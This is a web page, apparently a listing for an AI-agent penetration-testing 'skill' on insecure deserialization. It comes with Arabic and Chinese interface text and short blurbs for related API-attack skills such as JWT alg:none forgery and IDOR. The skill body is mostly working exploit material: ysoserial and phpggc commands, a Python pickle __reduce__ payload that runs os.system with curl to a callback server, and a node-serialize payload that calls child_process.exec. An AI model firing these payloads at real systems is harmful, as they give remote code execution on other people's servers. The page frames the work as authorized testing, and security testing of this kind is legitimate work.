القائمة
检测和利用不安全的反序列化漏洞，覆盖 Java、PHP、Python、.NET 和 Node.js 主流框架。
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
استنادا إلى تصنيف SOC المهني
通过被动来源和受控主动 DNS 枚举目标子域名，发现更多授权攻击面入口。
使用 agent-browser 在授权范围内执行浏览器交互验证，并在需要视觉判断时调用 pents vision-review 生成结构化视觉复核结果。
检测 API 中的功能级授权破坏（BFLA），验证普通用户是否能通过直接调用管理端点或操纵 HTTP 方法来执行管理员功能。
检测 API 中的对象级授权缺陷（BOLA/IDOR），通过篡改对象标识符越权访问或修改其他用户的数据。
利用 JWT 库接受 alg:none 的漏洞绕过签名验证，伪造任意 Token 实现权限提升。
检测 API 中的批量赋值漏洞，通过在请求体中添加非预期字段修改不应被客户端控制的属性。
| name | insecure-deserialization |
| description | 检测和利用不安全的反序列化漏洞，覆盖 Java、PHP、Python、.NET 和 Node.js 主流框架。 |
| category | web |
| source | xalgorix |
| tags | ["反序列化","RCE","对象注入","ysoserial"] |
| required_tools | ["curl","ysoserial（Java 利用）","phpggc（PHP 利用）"] |
unserialize()、Python pickle、.NET BinaryFormatter 或 Node.js node-serialize。__class__ 或 __type 字段）。whoami / hostname，不进行提权或持久化。ysoserial。phpggc。# 常见序列化格式特征
# Java: 以 rO0 或 aced 开头的 Base64 字符串
# PHP: a:1:{...}、O:8:"stdClass":...、s:5:"value"
# Python pickle: 以 gASV 开头的 Base64 或 \x80\x04\x95 二进制
# .NET: 以 AAEAAAD///// 开头的 Base64 或 TypeConverter
# Node.js: 以 {" 开头的 JSON 但包含 _$$ND_FUNC$$
# 识别序列化数据（通常在 Cookie 或隐藏字段中）
# Base64 编码以 rO0 开头
# 使用 ysoserial 生成 payload
# DNS 回连探测（验证漏洞存在，不执行命令）
java -jar ysoserial.jar URLDNS "http://<interactsh_server>" | base64 -w0
# 将生成的 payload 替换到请求中
curl -X POST "https://<target>/api/data" \
-H "Cookie: session=<base64_payload>" \
-d '...'
观察 Interactsh 是否收到 DNS 查询。
# 识别 PHP 序列化数据
# 特征：a:数字:{...}、O:数字:"类名":数字:{...}
# 使用 phpggc 生成 payload
phpggc -s <gadget_chain> <function> <command>
# 常用 gadget 链：
# Laravel: RCE1, RCE2
# Symfony: RCE1, RCE2
# WordPress: 根据插件版本选择
# 识别 pickle 数据
# Base64 编码以 gASV 开头
# 简单验证 payload
python3 -c "
import pickle, base64, os
class Exploit:
def __reduce__(self):
return (os.system, ('curl http://<interactsh_server>',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"
# 识别 .NET 序列化数据
# Base64 编码以 AAEAAAD///// 开头
# 使用 ysoserial.net 生成 payload
# ysoserial.net -g <gadget> -f JsonFormatter -c "command"
# 检查 node-serialize 或其他反序列化库的使用
# 测试 payload（node-serialize）
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl <interactsh_server>')}"}